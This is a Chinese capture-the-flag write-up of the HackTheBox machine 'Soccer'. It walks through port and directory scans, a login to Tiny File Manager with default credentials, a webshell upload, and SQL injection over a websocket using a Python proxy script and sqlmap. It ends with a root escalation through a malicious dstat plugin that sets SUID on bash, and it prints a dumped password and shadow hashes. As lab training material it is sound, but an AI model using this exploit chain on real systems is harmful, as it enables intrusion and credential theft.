基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
$ nmap -sC -sV -Pn 10.10.11.194
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-19 13:26 CST
Nmap scan report for 10.10.11.194
Host is up (0.19s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Mon, 19 Dec 2022 05:27:30 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Mon, 19 Dec 2022 05:27:30 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
| </html>
| RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Mon, 19 Dec 2022 05:27:31 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=12/19%Time=639FF63C%P=x86_64-apple-darwin21.5
SF:.0%r(informix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20
SF:close\r\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnec
SF:tion:\x20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20F
SF:ound\r\nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-
SF:Type-Options:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-
SF:8\r\nContent-Length:\x20139\r\nDate:\x20Mon,\x2019\x20Dec\x202022\x2005
SF::27:30\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\
SF:x20lang=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</tit
SF:le>\n</head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n
SF:")%r(HTTPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Secur
SF:ity-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosn
SF:iff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x20143\r\nDate:\x20Mon,\x2019\x20Dec\x202022\x2005:27:30\x20GMT\r\nConn
SF:ection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<hea
SF:d>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\
SF:n<pre>Cannot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,
SF:16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20de
SF:fault-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Ty
SF:pe:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x
SF:20Mon,\x2019\x20Dec\x202022\x2005:27:31\x20GMT\r\nConnection:\x20close\
SF:r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20char
SF:set=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20O
SF:PTIONS\x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400
SF:\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindRe
SF:qTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n
SF:\r\n")%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Connection:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x
SF:20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.21 seconds

80

需要加hosts:

1
10.10.11.194 soccer.htb

足球俱乐部:

目录扫描

目录扫描发现tiny,是一个Tiny File Manager(字典要稍微大点):

1
2
3
gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/raft-medium-directories.txt  -t 50 -u http://soccer.htb/

/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]

Tiny File Manager

默认账号密码登录:

1
Default username/password: admin/admin@123 and user/12345.

webshell

文件上传得到webshell,根目录不可写,uploads目录可写可执行:

soc-player.htb

查看nginx配置文件可以发现另一个vhost:soc-player.htb

1
2
ls /etc/nginx/sites-available/
cat /etc/nginx/sites-available/soc-player.htb

添加hosts后查看:

1
10.10.11.194 soccer.htb soc-player.soccer.htb

可以发现顶部多出login,signup等选项:

websocket

随意注册登录,有个ticket功能,测试发现是和9091端口交互的websocket请求:

sql injection

随意测试下,很明显的sql注入:

后面修改下搜到的脚本,sql注入获取数据:

脚本基本上就是8081端口开个代理,接收到的数据转换下格式后通过websocket发到ws server,注入的时候提供一个有效的id参数,便于sqlmap识别结果,另外注册的账号会被自动删除导致sql注入到一半后失败,所以脚本里加了输出便于确认状态:

1
2
3
4
5
6
7
8
python3 sql-exp.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*

sqlmap -u http://localhost:8081/\?id\=74913
sqlmap -u http://localhost:8081/\?id\=74913 -D soccer_db -T accounts --dump

player : PlayerOftheMatch2022

sql-exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091/"

def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
print("data: "+ data)
ws.send(data)
resp = ws.recv()
ws.close()

if resp:
return resp
else:
return ''

def middleware_server(host_port,content_type="text/plain"):

class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False

if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'

self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
print(content)
return

class _TCPServer(TCPServer):
allow_reuse_address = True

httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass

user flag

sql注入得到的player账号密码ssh登录:

提权信息

基础枚举,发现可以无密码以root身份doas运行dstat:

1
2
3
4
find / -perm -u=s -type f 2>/dev/null

player@soccer:/tmp/miao$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

根据文档,dstat可以用来监控和查看系统资源。并且它支持自定义插件。因此,我们可以创建一个恶意插件来执行我们的代码,然后以 root 权限运行 dstat

所以我们可以通过自定义插件的方式来进行提权

提权 & root flag

确认dstat相关目录,制作恶意插件,执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
find / -type d -name dstat 2>/dev/null

/usr/share/doc/dstat
/usr/share/dstat
/usr/local/share/dstat

cd /usr/local/share/dstat/
# 文件名需要dstst_*.py
nano dstat_miao.py
# 确认插件可以被检测到
dstat --list | grep miao
# 执行插件中的恶意命令:
doas -u root /usr/bin/dstat --miao

dstat_miao.py

1
2
import os
os.system('chmod +s /usr/bin/bash')

shadow

1
2
root:$6$1TJ9zs1GmR5XfWqC$sgVFNj7BvvbDDkfId/gHPXk.HWTaENMFIScU.7afVhZiHob0kaQRtoiVgtOmcpZpgwEOLwWWw0Vjt/IL4IJ990:19318:0:99999:7:::
player:$6$LACsHEmcrExidOpg$vrXR4Ev7NYLkVEpk4qLfWsdF0XefyonoCnLqDHemJWooMJtcRC5jpsKy6MB.gU95PSva5I3Zjw5TwTR4J6GBf/:19318:0:99999:7:::

参考资料